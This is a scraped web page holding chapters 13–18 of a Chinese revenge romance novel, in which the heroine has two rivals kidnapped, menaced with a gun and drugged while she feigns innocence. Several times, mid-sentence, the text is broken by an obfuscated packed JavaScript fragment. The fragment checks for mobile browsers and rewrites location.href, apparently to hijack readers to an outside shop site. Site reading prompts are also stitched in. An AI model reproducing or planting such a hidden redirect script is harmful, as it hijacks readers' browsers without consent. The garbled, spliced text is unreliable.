就这一眼,让沈月汐一瞬间就想到了几年前的往事,那种被江淮之威胁过一次之后,对他的恐惧就深深的刻进了骨子里。 沈月汐来不及再去细想为什么两个人都决裂了,江淮之还要帮着姜梨。 她白着一张脸,颤颤巍巍的对姜梨说:“妹妹,我不是很想听,应该是我的稿子打错了。” 说完头也不回的走下了舞台。 姜梨扯出来一抹讽笑,还以为她有多大的能耐,多少年过去了,只长身体不长智商,到头来还是个没脑子的草包。 还有。 她淡淡的睨了一眼台下刚刚带头的女生,是傅家的小姐,傅雪。 也是个没脑子,甘愿被当枪使的主。 这些所谓的豪门大院,怎么净养出来一些废物。 . 后台。 沈月汐下来时额头甚至出了一层冷汗,一张脸白的像鬼。 小主,这个章 节后面还有哦,请点击下一页继续阅读,后面更精彩! 第13章 帮我处理两个人 校庆典活动在晚上七点结束。 接近十月底,这个时间天色已经如墨一般黑了,学校的路上亮着白色的路灯。 姜梨和阮经颜挽着手朝着宿舍楼的方向走,姜梨的眼睛疼的不行,全靠阮经颜扶着她掌控方向。 经过操场的时候,姜梨听到了不远处的距离有人在喊她,她的视线模糊,抬头朝着声源处看过去只能接着路灯的光看到一堆重叠的人影。 听声识人,是沈叙。 她现在要喊他吗?喊什么?沈总还是大哥? 阮经颜也看了过去,然后眼皮跳了一下,脸“刷”的一下冷了下来,挽着姜梨的手力道越来越重。 “那个,小梨。”阮经颜看着姜梨的侧脸,把手从她臂弯里抽了出来,步子往后退,“我想起来还有东西落在后台了,我去拿一下!” “哎——” 还没等姜梨反应过来,阮经颜就跟风似的跑没了影。 这是见鬼了? 姜梨的眼睛一阵刺痛,忍不住伸手去揉,却被人一把抓住了手腕。 “看不清是吧?我来给你讲解一下。”叶辞捏着她的腕骨,声音散漫,“江淮之和傅雪在一起,简清时和沈叙在聊天,他们四个人现在都在看你。” 叶辞又补了一句:“听说,江淮之要和傅雪她姐姐订婚。” 订婚? 他刚和她领完证,扭头就去和别人谈订婚,不愧是老渣男,玩的还挺花。 姜梨撇了撇嘴,没说话。 叶辞看着她的表情,笑着问:“吃醋?” “你今天问了我两个蠢问题了。”姜梨把手抽了出来,皮笑肉不笑的看着他,“你脑子里的水还没有倒干净的话,我可以帮帮你。” 叶辞被她看得心里一阵发毛,那只空下来的手收了回去,“得了,我不嘴贱了,别生气。” 傅雪还在和江淮之说着什么,一张脸上笑得跟花似的,他也只懒懒的应几声,目光看着姜梨和叶辞的方向,眸色越来越深。 而傅雪也顺着他的视线望过去,看到了姜梨,好看的眉毛皱了起来。 简清时见状,索性直接大声喊了一句:“姜梨妹妹,你哥哥叫你呢!他有话跟你说!” 姜梨这才明白,为什么阮经颜要跑。 原来是还没有跟简清时说明白。 简清时嘴里的哥哥也并非彼哥哥,况且,姜梨现在还在和那个哥哥闹矛盾,沈叙那个老贼也在那里,她并不想过去招麻烦,然而—— 叶辞非要去凑这个热闹,二话不说,拽着不情不愿的姜梨走了过去。 傅雪此刻乖顺了不少,对着姜梨和叶辞微微颔首,喊了一声:“沈四小姐,叶二少。” 这态度很难联想到前几个小时带头想让姜梨吃哑巴亏的人是她,像人格分裂了似的,有病。 “她已经不是沈家四小姐了。”意料之外的,是沈叙开了这个口,对傅雪解释:“姜梨现在是江总的义妹,姜二小姐。” 傅雪一时间有些发愣,姜梨怎么成了江淮之的义妹? 想到今天她帮着沈月汐,带头对姜梨口出恶言的事情,她的表情有些僵硬。 江淮之是不能得罪的,毫不夸张的讲,他身边的人,哪怕只是一条狗都得供起来。 否则他若是计较起来,可不得了。 傅雪的余光悄悄的看向旁边的江淮之,只见路灯下他的神情寡淡,没什么情绪,像是没有把这件事和姜梨这个人放在眼里。 傅雪这才微微松了一口气。 叶辞可不吃傅雪这一套,他没有亲眼看见并不代表他耳聋,什么都不知道。姜梨今天弹琴的时候,除了沈月汐的刁难,傅雪是最大的帮凶。 拿逝去的人做文章,确实是有够恶心的。 也不想想,姜祈安还活着的时候,他们傅家是怎么上赶着巴结的。所有人都在说姜祈安手段狠戾,遍地都是仇家。 但是,有交情的也不算少,他们叶家就算一个。 叶辞轻轻的笑了一声,眼神不停的在江淮之和傅雪两个人身上打转,“傅小姐,刚刚在后台的时候,就能听到你吼的最起劲。你现在是准备抢姐姐的婚吗?啧啧,看不出来,你挺忙啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293802|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 斯—— 叶辞的嘴那是出了名的毒,姜梨低着眼,憋笑。 在心里不停的呐喊,会说就多说! 傅雪的脸瞬间白了下来,生在书香门第,她哪里听过这么直白又难听的话?双唇张了又张,愣是说不出一句话。 沈叙和简清时也不知道叶辞会说出这种话,一时间气氛有些古怪。 江淮之瞥了叶辞一眼,又盯着姜梨看了几秒钟,而后头也不回的朝着大门那边走去。 大抵是不高兴了,也不知道是因为谁? 天是肯定聊不下去了,相互客套了几句之后,简清时和沈叙一前一后的离开,傅雪走的时候眼眶通红的瞪了一眼叶辞。 叶辞才懒得理,眉梢微挑,看着姜梨:“帅不帅?” 姜梨小鸡啄米般的点头,“帅帅帅!” 回到宿舍,许雾和其他两个人都还没有回来。 “叮——” 手机铃声响了起来,姜梨看了一眼,心头跳 了一下,是江淮之! 姜梨犹豫了一下,接了起来。 低沉的声音夹着微弱的电流,语气有些冷,“明天下午出来,带你去医院看眼睛。” 姜梨愣了一下,“你怎么知道我的眼睛……” “妹妹,我不瞎。” 本来姜梨是想拒绝的,但是想到她接下来要做的事,话锋一转,淡淡的回了句:“知道了。” 明天是周五,下午她确实没有课,也确实应该去好好的看看这双眼睛。 两个人的通话也到此结束,江淮之那边率先挂断了电话。 姜梨看了一眼时间,趁着许雾她们没回来,拨通了另一个号码。 几乎是刚响铃,那边就接了。 姜梨开门见山:“明晚帮我处理两个人,把沈家的沈月汐和傅家的傅雪带到’祈愿‘,我明天会过去。” “嗯。” 姜梨听到了外面由远及近的脚步声,利落的挂断了电话。 这么喜欢用死人来搞小动作,就得付出点代价。 第14章 连吃带拿 星期五下午下起了雨,大片的乌云聚集在城市上空,一片昏暗。 潮湿的天气让姜梨感觉全身的骨头都在痛,尤其是膝关节,痛的想死,头也是昏昏沉沉的。 她打着一把伞,背着书包走出校门,一眼就看到了停在校门口的车。 江淮之那辆黑色的迈巴赫。 快速的迈着步子走过去,刚想去拉后车门,玻璃就降了下来,江淮之偏头看她,“去前面。” 姜梨这才看到他身边还坐了一个人,那张脸和傅雪有个五六分像,却比她更成熟明艳。 “听说,江淮之要和傅雪她姐姐订婚了。” 叶辞昨天说过的话在她脑中回荡,坐在江淮之身边的这个人,是傅雪的姐姐,傅绾。 所以江淮之这是让她来看他们约会,然后顺便带她去医院? 啧,好烦。 姜梨在看傅绾的同时,傅绾也在打量她。 同为女人,姜梨的长相确实让傅绾也觉得倾国倾城,不愧被誉为北城第一才女。 关于江淮之和姜家两兄妹的事情,她多少也听过一些。这么个人在江淮之身边这么久,他都没有动过心吗?就真的只把她当妹妹? 傅绾心中顿时拉起了警戒线,加上昨天傅雪跟她提过的事情,她就把姜梨放在了敌人的位置上。 姜梨移开视线,手转了个方向,把伞收起来,坐在了副驾驶的位置,扣上了安全带。 谢铭启动车子,快速又平稳的驶离了学校。 傅绾看着这条路,疑惑的问了一句:“我们不是要去司家老宅吗?” 江淮之看了一眼坐在前面的姜梨,语调温和:“先送妹妹去医院。” 哦,是要去见家长。 从昨天到今天她的心情起起落落,像是在坐过山车。听江淮之这么一说,姜梨的那点情绪此刻到达了最低点,稍稍不注意就会爆炸。 傅绾正想说什么,就听到了手机震动的声音,是姜梨的手机。 “嗡——” 姜梨看了一眼,手指滑了一下屏幕,没接。 然后那边不死心的又连着打了两个,都被姜梨挂断了,点进微信,给叶辞发了一条信息:我跟江淮之还有傅绾在一块,不方便接电话。 “你这是上赶着找虐?看不出来,你还有受虐倾向。” 姜梨不用想都知道,叶辞发这句话过来时的表情有多欠揍。气的她点屏幕的手指都极其用力,发出“哒哒哒”的声响。 “你是有什么毛病吗?” 傅绾看着她有些不太高兴的样子,眸子划过一丝暗光,红唇轻轻勾了起来,“是叶二少的电话吧?妹妹没和他一起,是和他闹什么矛盾了吗?” 江淮之的眉毛不着痕迹的皱了一下,手指微僵,昨天看到的那两道人影自然的出现在了脑中。 熟稔,轻松,打闹。 还有一个词,叫做般配。 “我为什么一定要和叶辞在一起?” 姜梨听到她说的话脸也是冷了下来,她问的问题是很正常,但是语气不正常,有刺。 得了,她在看到车上有别人的时候就应该转身走。 怎么着啊?傅雪把昨天的事告诉傅绾了是吗?她现在是要给她妹妹出昨天被叶辞怼的那口气? 傅绾依旧笑得温婉,“叶二少为人正直,圈内好评不少。我听傅雪说起过,你和他两情相悦,惺惺相惜,你和他这一对璧人,还是樱大流传的的一段佳话呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293803|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可别乱往我身上扣帽子,我在樱大可从来没听过这么荒唐的东西。我听你都快把叶辞夸出花来了……怎么?你喜欢他?”姜梨扭头看着傅绾,冷笑了一声,“你们两姐妹可真有意思,一个撬姐姐的墙角,勾搭姐姐的准未婚夫,另一个都在跟人谈婚论嫁了,还在肖想别的男人。” “啧啧,还真没看出来,你们傅家一双花都这么忙。” 傅绾没想到姜梨会这么牙尖嘴利,脸都被气红了,一双眼睛瞬间起了一层雾,有些无措的看着江淮之。 这可怜兮兮的模样,还真是我见犹怜。 不知道的,还以为姜梨在欺负她。 “妹妹,坐好。”江淮之轻飘飘的看了姜梨一眼,然后又对傅绾说了句:“妹妹的事情她们自己去解决就行了。管太多了不大好,你说呢?” 傅绾的脸白了几分,咬了咬牙,僵硬的笑着说:“好。” 江淮之这是暗搓搓的说傅绾多管闲事,含蓄的提醒她,差不多该闭嘴了。 但是! 那句“妹妹,坐好”也是在让姜梨闭麦。 好一个两头不得罪,连吃带拿的怎么不撑死他!骂他见异思迁还真是没骂错,老渣男! 姜梨真是一口气憋在心里上不去也下不来的,气的她太阳穴“突突”的跳。 车子停在了樱洲医院门口。 三个人同时下车,姜梨懒得去管他们,自己打着伞往前走。 她一点都不想和江淮之这个老渣男呼吸同一片空气。 因为江淮之提前约了医生,他们直接去诊室等就可以了,不用再走程序排队挂号。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第15章 我送你下去陪他好不好 车子稳稳的停在了‘祈愿’的门口,是一家酒吧。 等在门口的,除了阮经颜,还有一个叶辞。 江淮之降下车窗,看着酒吧的牌子,眼神暗了暗。 这家酒吧的前任老板,是姜祈安。 因为江淮之司家人的身份,在这种事情上不能跟姜祈安有太多的牵扯,所以这家酒吧姜祈安转给了叶家,现在是叶辞在管。 傅绾多看了姜梨两眼,因为刚刚被她呛过,这下很识趣的没有再说话,安安静静的坐在江淮之旁边,满脸微笑的看着外面的人。 姜梨拿着伞下了车,阮经颜知道她身上全是旧伤,一到下雨天会痛,上前扶了她一把。 阮经颜看到傅绾,显然也愣了一下。 江淮之这真是要脚踏两条船?还就这么让姜梨跟了他们一路…… 忍不住在心里大骂了一句:渣男! “妹妹。”江淮之黑色的瞳孔直直的盯着姜梨,说了一句:“不要喝酒,注意安全。” 姜梨被他这个眼神看的心突然紧了一下,但依旧强装镇定的跟他对视,轻轻的“嗯”了一声,然后等着他的下文。 殊不知,江淮之什么也没说,车窗缓缓升起,他那张脸彻底被黑色的玻璃给隔绝。 紧接着,车子驶离,消失在雨幕中。 就这样走了? 江淮之甚至都没有说一句,让她早点回家。明明前天还在因为这个吵架的,就这么莫名其妙的翻篇了吗? 姜梨也不知道是不是她的错觉,今天的江淮之非常的奇怪。 “尾气都看不到了,还盯着看啥呢?”叶辞看她魂不守舍的样子,想伸手薅一把她的头发,眼神闪了闪,还是把手收了回去,“今天不是你约我们?快进去吧。” 时间明明没有过去很久,但是当姜梨再次踏进‘祈愿’,心底是翻天覆地的变化。 两个月前,这家酒吧的老板还是姜祈安。两个月前,姜祈安还和她在这里吵架。两个月前,是她最后一次见到他。 多可笑。 他们最后一次见面,居然还在吵架,一直到姜祈安死,两个人都因为这一场嘴架,都没有好声好气的说过一句话,哪怕是一个字。 空出来的大厅是暗色简约的装修,大理石瓷砖在灯光下反射出冷光,能听到里面传出来的歌声。 不同于往日里重金属乐的那种疯狂和激情,轻轻的,带着点缠绵缱绻,还有一点悲怆。 雨天,突然听到的忧伤的旋律,都很符合姜梨现在的情绪,出奇的应景。 叶辞带她们去了不对外开放的的三楼,那儿会更安静。 车中的江淮之看着空下来的副驾驶,总觉得车内的温度都变的冷了,少了他喜欢的那点味道,空落落的。 随着雨势减弱,砸在车窗上的声音也小了下来,本就安静的环境更是静的让人心里不安。 “傅小姐。” 江淮之打破了寂静,看着傅绾,先前眼里的那一丝温情也消失的无影无踪,取而代之的是无尽的冷,“刚刚在车上发生的事情,我希望是最后一次。再有第二次,你和我联姻的事就不用再谈了。” “什……什么?”傅绾的脑子有些宕机,不明白江淮之怎么突然就冷了下来,就连说话的语气也没了刚刚的温和。 江淮之只对她说了一句:“姜梨是我妹妹。” 话都说到这份上了,傅绾也明白了江淮之的意思,他是在警告她,还想继续联姻合作的话,就对姜梨客气一点,最好离她远一点。 傅绾僵硬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293804|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了一下,“我知道了,江总。” . ‘祈愿’三楼的光不同于其他楼层,是暖黄色的暗光,就连装修风格都和其他楼层有异,不像是酒吧的风格。 还没有进包间,姜梨揣在兜里的手机震了一声,她眼眸闪烁,对着叶辞和阮经颜说了一句:“我去一趟洗手间。” “嗯。” 姜梨走进卫生间,确定没有人,她摸出手机看了一眼,“一楼,后门的巷道。” “哗啦!” 她拉开窗户朝外看,外面漆黑一片,一点灯光都不曾有,雨已经停了下来,空气潮湿。 姜梨戴上提前准备好的白色手套,撑着窗台翻了出去。落脚点很窄,好在她体型娇小,足够站稳脚跟,稳住身体。 一回生二回熟,姜梨从三楼翻到了二楼,跳到一楼地面的时候,脚一软差点跪下去,被一只手扶住了。 来人戴着黑色的帽子和口罩,全身上下裹得很严实,只露出来一双黑如墨一般的眼睛。 “人呢?”姜梨站直身体,有些急切,“我时间不多,出来太久会遭人怀疑。” 神秘男人应了一声,带着她朝着更深更黑的地方走去。 一走近,便看到了地上躺着两个被五花大绑,不停呜咽的沈月汐和傅雪。 看到跟在神秘人旁边的姜梨,眼睛骤然瞪大,呜咽的声音和挣扎的动作也更大了一些。 姜梨缓缓蹲下身体,笑得无害。 下一秒,她一把揪住了沈月汐的头发,让她像被踩了尾巴的猫一样,嗓子里溢出动听悦耳的惊呼,“要不是你昨天做的那件事,我都不知道你这么 喜欢听姜祈安的曲子……你很想他吗?” 这章没有结束,请点击下一页继续阅读! 第16章 枪里没有子弹 沈月汐被撞的眼前发黑,一阵凉风吹过来,她的身体颤抖的更加厉害。 一边的傅雪看到这一幕,表情惊悚,额头出了一层细密的冷汗。 她明明是要去司家的,在路边等车的时候,巷道里有人喊她,等她再醒过来的时候,就看到了那个遮住全脸的男人,还有和她一样被五花大绑的沈月汐。 姜梨松开了沈月汐的头发,她失去了支撑点,直挺挺的倒在了地上。姜梨的眼睛看向了傅雪,阴恻恻的笑了一下,就是这一个笑,几乎让傅雪的心脏都停止了跳动。 仿佛她面前的姜梨,是从地狱里来的恶鬼。 用同样的动作,撕掉了黑色的胶布。 “救……!”傅雪下意识就想尖叫,却被那个男人用力的掐住了脖颈,那声救命就这样硬生生的卡在了喉咙里。 “嘘——”姜梨竖起纤细的食指抵在了唇边,正是因为她的表情和平时没有什么两样,笑的如沐春风,才让傅雪更为害怕,只听她轻轻的说:“不要喊哦,这里是酒吧,这个地方还是监控死角,不会有任何人会过来的,就算你们死在这里,都不会有人知道。” 她抬手有一下没一下的摸着傅雪的头发,动作极尽温柔,“算了,你除了嘴贱以外,也没做什么。这样吧,你现在对着‘祈愿’磕三个头,跟我哥哥道歉认错,我就放了你。” 傅雪被掐的一张脸憋的通红,豆大的泪珠不断的从她眼眶里滚落下来,五官痛苦的扭曲在了一起,听到姜梨的话,艰难的应了一声。 姜梨抬了抬手,男人就松开了傅雪,捏着她的后脖颈将她的身体转了一圈,让她面对面的对准了‘祈愿’。 傅雪不敢造次,咬了咬牙,重重的在地上磕了三个响头,嘴里不断的说着:“对不起。” “嚓!” 打火机的微光一闪而过,黑色的夜里,姜梨嘴里有一点猩红的火光。 烟和火机都是从男人的衣服口袋里掏的。 膈着一层手套,姜梨的虎口卡住了傅雪的下巴,眼睛微眯:“回傅家,不要乱说。否则……” “啊——我不说!我不说!” 姜梨取下嘴里的烟,烟头直直的戳向傅雪的眼球,吓得她不停的摇头,惊叫着向姜梨保证着自己不把见过她的事情说出去。 她的话音落下,烟停在了离她眼球一厘米的位置又被姜梨含进了嘴里,她笑了声,戴着手套的手“安抚”的摸了摸她的脸,“这才乖。” 趴在地上的沈月汐盯着姜梨,“你就不怕遭报应吗!” 姜梨的头发被风吹的飘了起来,她沉默着,极黑的环境里看不太清她的神色。 她把烟盒和打火机放进了男人的口袋里,从里面摸出来一把枪,动作娴熟的上了膛,然后将枪口贴在了沈月汐的太阳穴上。 “三年前的那场火,是不是你放的?”姜梨的笑收了起来,眼睛直直的盯着她:“还有林宴那个畜生,是不是你引过来的?” “你都没遭报应,我凭什么遭报应?” 冰凉又锋利的触感,沈月汐的眼珠子缓慢转动,不可置信的看向姜梨的手,那是一把枪! 姜梨她是疯了吧! “不是我……不是我……”沈月汐双目失神的否认,她抬起满是眼泪的眼睛,看着姜梨大笑了起来,“是你,是你害死林遥的,妈妈说的对,你就是丧门星!害死了你爸,又害死了林遥,就连哥哥也是被你克死的!” “都是你害的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293805|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啪嗒”一声轻响,姜梨脸色阴沉,她扣动了扳机。 下一秒,沈月汐和傅雪同时尖叫了一声,两个人同时晕了过去。 “哎呀,怎么就晕了?”姜梨将枪扔给了男人,满脸无辜看着地上不省人事的两个人,“忘记说了,枪里面没有子弹。” “真不是故意想要吓唬你们这两个蠢货的。” 男人看着她那个模样,眼里划过一丝无奈。 人都晕了,还要对着人家一顿嘲讽,真的是恶劣进了骨子里。 姜梨捏着燃了一半的烟,看向男人,“这个怎么办呀?” 哎…… “我来处理。”男人的声音因为戴着口罩有些闷,毫不犹豫的将那半姜梨咬过的烟头揣进了口袋。 姜梨指了一下地上的两个人,“给傅雪来点致幻剂,直接把两个人扔进一楼的卫生间里。” “想办法黑进系统,别让人查到我手机里的痕迹。” 说完她把手套脱了下来,用打火机烧成了灰烬。 男人一瞬间就明白了她的用意,看着地上不省人事的两个人,然后摇头。 枪里没有子弹姜梨是不知道的,所以刚刚她是真的想杀沈月汐。 惹谁不好,非要来惹姜梨这朵黑莲花,真是嫌命太长了。 姜梨快步跑到她刚刚跳下来的位置,又再一次翻了上去。 三楼的高度,稍不注意,摔下来不死也得残废。 也就只有姜梨敢这么玩。 他一直看着她的方向,直到看到她成功翻回三楼的卫生间,这才把一粒药丸喂进了傅雪的嘴里。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第17章 坐山观虎斗 姜梨再次踏进包间,意外发现只有阮经颜一个人,叶辞不知所踪。 她关上门,边走过去边问:“叶辞呢?” “陆家的今天突然来了,就在这层楼的另一个包间里,叶辞应该是去他们那边了。” 姜梨的身体一僵,一下子就想到了刚刚在卫生间里遇到的那个男人。 陆家有三个儿子,姜梨只见过陆璟,今天这个男人不是他。 “怎么了?”阮经颜看她表情不太对,给她倒了一杯橙汁。 “没什么。”姜梨敛起神色,笑了笑,坐到了阮经颜的旁边。 阮经颜晃着酒杯,灯光下,杯子里的酒折射出极为漂亮的淡蓝色。 姜梨靠在她的肩膀上,先是看了眼放在自己面前的橙汁,又去看阮经颜手里的那杯酒,眼神是明晃晃的贪婪,清楚的写了两个字:想喝。 “你不配。”阮经颜的手掌贴在她的脸上,将她的脑袋推开,自己则是快速的一饮而尽。 暖黄色的灯光下,姜梨看到了阮经颜脖颈处分一块红印,她的眼睛眯了眯,挥开阮经颜的手又凑了上去,指了指她的脖子,“你这是……” 阮经颜像是突然想起来什么,那是昨天简清时那个混蛋留下来的! 她重重的放下酒杯,手掌欲盖弥彰似的捂住了那块地方,扯出来一个傻子都不信的理由,“蚊子!蚊子咬的!” 姜梨拖长语调,意味深长的“哦”了一声,坐直身体,喝了一口橙汁,“十月底有蚊子就够牛逼了,你家的蚊子还挺猛,吸完血那一块皮肤都会发紫。” 阮经颜的脸抽了一下,紧接着又听到姜梨感叹了一句:“好厉害。” “………” 一楼的女卫生间。 沈月汐和傅雪躺在地上,额头伤口还在往外冒血,在白光下无比瘆人。 沈月汐缓缓睁开眼睛,使劲的摇晃着傅雪的身体,喊着她的名字:“傅雪!” 没过一会,傅雪就醒了过来,眼前一阵天旋地转,在她眼中,沈月汐的那张脸和姜梨的重叠,一声尖叫骤然响起。 “别杀我!别杀我!”傅雪“唰”的一下站了起来,看见沈月汐像是见了鬼一样。 怎么回事! 沈月汐不明所以,手掌撑在地上,被什么坚硬冰凉的东西铬了一下。低头看过去,是一把黑色的枪,那把刚刚抵在她太阳穴的枪! “啊!”傅雪也看到了,更是吓得三魂没了七魄,她跪趴在地上,不断的朝着沈月汐磕头,不停的说着:“求你别杀我!都是沈月汐让我做的!我再也不敢了!” 姜梨对着沈月汐开枪的画面在她脑中挥散不去,而此时在她眼前的“姜梨”表情也愈来愈狰狞,傅雪双唇颤抖,冷汗糊了她一脸,只觉得全身都冷的发抖。 “砰!” 一声枪响,让沉迷在纸醉金迷中的男男女女瞬间清醒,音乐声停了下来,迷离的灯光切换成了白光。 刚刚去卫生间的人跑了回来,被吓得六神无主,趴在门边对着里面静下来的人群,舌头像是打了结:“女厕所……有人开枪杀人了……” 开枪!杀人! 下一秒,尖叫声此起彼伏,人群开始逃窜,场面混乱不堪。 叶辞推开阮经颜和姜梨所在的包厢,下颚紧绷,眼神扫过阮经颜,定在了姜梨身上。 她手里捧着一杯暗红色的酒,已经喝了大半杯,此时正满脸疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293806|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑的看着叶辞,问了句:“你这什么表情?” “傅雪和沈月汐在‘祈愿’,并且傅雪开枪打伤了沈月汐,她的状态目前怀疑是吸毒过量。”叶辞开门见山,眸色深沉,“姜梨,这件事跟你没有关系吧?” 阮经颜听到叶辞说的话,心里翻起来惊涛骇浪,这又是枪又是毒的,怎么可能会跟姜梨有关系!她今天一晚上都和他们在一起啊! 不怪叶辞会怀疑姜梨。 沈月汐和傅雪昨天刚用姜祈安来恶心姜梨,刚好姜梨今天约他们来’祈愿‘,然后她们两个就在‘祈愿’出事了。 一件事情,巧合太多的话,就不是巧合了。 姜梨把杯中的酒一饮而尽,她抬眼看着叶辞,知道他心中的想法,对他说:“你第一时间不报警,不打120来救人,跑过来问我这个问题……叶大哥要是知道你是这么处理的,你不被罚我跟你姓。” “我第一时间来问你是为了什么你不知道吗!那是枪和毒!你……” “报警。”姜梨把空掉的杯子放在了茶几上,发出一声清脆的响声,“我知道你想做什么,但是这件事情跟我没关系,你该怎么处理就怎么处理。” 她笃定的语气,坦荡的眼神,让叶辞提起来的心落了下去。 “门口我安排了保镖,你们两个好好的待在这里不要乱跑。” 叶辞撂下这句话后,急匆匆地下了楼。 . 沈月汐是被抬出来的,傅雪那一枪并没有打进她的身体里,只擦伤了她的脸颊,她是被吓晕过去了,除了脑门,身上并没有其他伤口,一会就能醒。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第18章 你有证据吗 因为这件事牵扯太多,傅家和沈家都怕对方会对血检报告做什么手脚,所以医生是江淮之叫来的,抽血过程是傅砚和沈叙亲自盯着的,加急的报告是谢铭和沈叙以及傅家那边安排的人一同去取的。 公平公正,清晰明了。 “傅小姐的血检报告的结果显示并不是违禁品。”谢铭将手中的报告递给了傅砚,停顿了一下,“而是一种致幻剂,对人体无害,剂量也并不大。” “沈小姐的血检结果是正常的,没有被注射药物的迹象。” “而且现场出现的那把枪,是一把自制枪,就只有傅二小姐和沈三小姐两个人的指纹。” 此话一出,场上的人皆是一怔。 也就是说查不到来源,只有沈月汐和傅雪两个人碰过这把枪。 傅雪听到这句话,一把推开抱着她的傅夫人和傅绾,然后站了起来,“你胡说!这把枪明明就是姜梨用来杀沈月汐的凶器!怎么会没有她的指纹!” 她说的颠三倒四,让在场的人都摸不着头脑,这怎么又跟姜梨扯上关系了? 姜梨也在这里吗? 沈叙的脸愈发的黑,一片阴云密布。他看向坐在一边的傅砚,沉声道:“在场的所有目击者都说卫生间里只有傅雪和我妹妹两个人,甚至有人亲眼看到是傅雪开的枪,现在又扯出来一个姜梨,你们樱洲傅家是把我沈家当傻子糊弄吗!” 傅砚恨铁不成钢的瞪了一眼傅雪,又对傅夫人和傅绾使了个眼色,让她控制住傅雪别再说话添乱了。 两个人接收到信息,赶紧一人拉住傅雪的一条胳膊,将她牢牢的摁在了沙发上。 傅绾这时适时开口:“姜梨确实在这里,还是我和江总送她来的。” “沈先生,稍安勿躁。”傅砚先安抚了一下沈叙,而后在一众人人里看向了叶辞,缓缓开口:“叶二少,我知道沈四小姐与你交好,你想包庇她也无可厚非。只是,这件事情实在是过于恶劣,你可否把她请出来,当面对质?” 叶辞听到这么段话,直接笑出了声,“傅市长您心疼女儿也无可厚非,但是在证据确凿的情况下还要把罪名安在姜梨身上,又给我一顶包庇罪的帽子,您觉得合适吗?” 傅砚的脸色沉了下来,语气也没了刚刚的客气,“你大哥叶止是部队里的人,为人正直刚毅,你现在作为他的亲弟弟,是要包庇姜梨到底,徇私枉法吗?” 还没等叶辞回答,这时电梯到达的声音响起,所有人的目光看了过去。随着门缓缓打开,姜梨和阮经颜走了出来。 “我想知道,我犯了什么法,怎么就让傅市长给叶辞扣上了徇私枉法的罪?”姜梨的声音不卑不亢,神色自若。 除了那张脸,就连性格都有几分姜祈安的影子。 “姜梨!就是你!就是你要杀沈月汐!” 姜梨的出现,让精神一直紧绷的傅雪彻底崩溃。 也不知道是不是因为傅家都在,给了她底气,傅雪不管不顾的挣开傅绾和傅夫人的束缚,一阵风似的朝着她冲了过去,抬起手就要朝姜梨脸上打。 “啪!” 清脆的耳光声传进每个人的耳朵,姜梨收回胳膊,身体站在原地没有挪动一步。 她垂眸,居高临下的看着被打趴在地上的傅雪,眼神平淡如雪。 “姜梨!” “沈四小姐!” “姜梨!你这是做什么!” 来自傅家人整整齐齐的声音一同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 